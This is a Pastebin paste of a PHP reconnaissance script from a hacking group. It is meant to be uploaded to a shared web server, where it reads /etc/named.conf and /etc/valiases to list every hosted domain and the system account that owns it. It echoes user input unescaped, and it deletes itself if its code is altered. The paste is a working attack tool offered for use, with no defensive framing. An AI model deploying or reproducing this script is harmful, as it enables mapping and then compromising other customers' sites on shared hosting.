ToKeiChun

Domain Viewer

Oct 3rd, 2019
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.15 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Local DOMAIN:USER Show | by [ Lagripe-Dz ]</title>
  4. <style>*{ font-family:tahoma; font-size:12; } td,tr{ text-align:center;}</style>
  5. </head>
  6.  
  7. <body>
  8. <center>
  9. <p>Local DOMAIN:USER Show | by [ Lagripe-Dz ]</p>
  10. <p>[ <a href='?ShowAll'>Show All</a> ] - [ <a href='?UserDomains'>User Domains</a> ] - [ <a href='?DomainUser'>Domain User</a> ]</p>
  11. <?
  12.  
  13. $file = @implode(@file("/etc/named.conf"));
  14.  
  15. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  16.  
  17. preg_match_all("#named/(.*?).db#",$file ,$r);
  18.  
  19. $domains = array_unique($r[1]);
  20.  
  21. check();
  22.  
  23. if(isset($_GET['ShowAll'])){
  24.  
  25. echo "<table align=center border=1 width=59% cellpadding=5>
  26. <tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
  27. <tr><td>Domain</td><td>User</td></tr>";
  28.  
  29. foreach($domains as $domain){
  30.  
  31. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  32.  
  33. echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
  34.  
  35. }
  36.  
  37. echo "</table>";
  38.  
  39. }
  40.  
  41. if(isset($_GET['UserDomains'])){
  42.  
  43. echo "
  44. <form action='?UserDomains' method='GET'>
  45. <input type=hidden name=UserDomains value=1>
  46. User : <input type=text name=user value=$_GET[user]> - <input type=submit value=Show>
  47. </form>
  48. ";
  49.  
  50. if(isset($_GET['user'])){
  51. echo "<table border=1 width=30% cellpadding=5>
  52. <tr><td><b>Domains ..</b></td></tr>";
  53. foreach($domains as $n=>$domain){
  54. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  55. echo ($_GET['user'] == $user['name']) ? "<tr><td>$domain</td></tr>":"";
  56. }
  57. echo "</table>";
  58. }
  59.  
  60. }
  61.  
  62.  
  63. if(isset($_GET['DomainUser'])){
  64.  
  65. echo "
  66. <form action='?DomainUser' method='GET'>
  67. <input type=hidden name=DomainUser value=1>
  68. Domain : <input type=text name=domain value=$_GET[domain]> - <input type=submit value=Show>
  69. </form>
  70. ";
  71.  
  72. if(isset($_GET['domain'])){
  73. $user = posix_getpwuid(@fileowner("/etc/valiases/".$_GET['domain']));
  74. echo "User is : [ ".$user['name']." ]";
  75. }
  76. }
  77.  
  78. function check(){(@count(@explode('ip',@implode(@file(__FILE__))))!=6) ?@unlink(__FILE__):"";}
  79.  
  80. ?>
  81.  
  82. <p><a href="http://www.Sec4ever.com/">www.Sec4ever.com</a> | <a href="http://www.Lagripe-Dz.org/">
  83. www.Lagripe-Dz.org</a><br> Algeria 2o1o-2o11</p>
  84. </body>
  85. </html>
Add Comment
Please, Sign In to add comment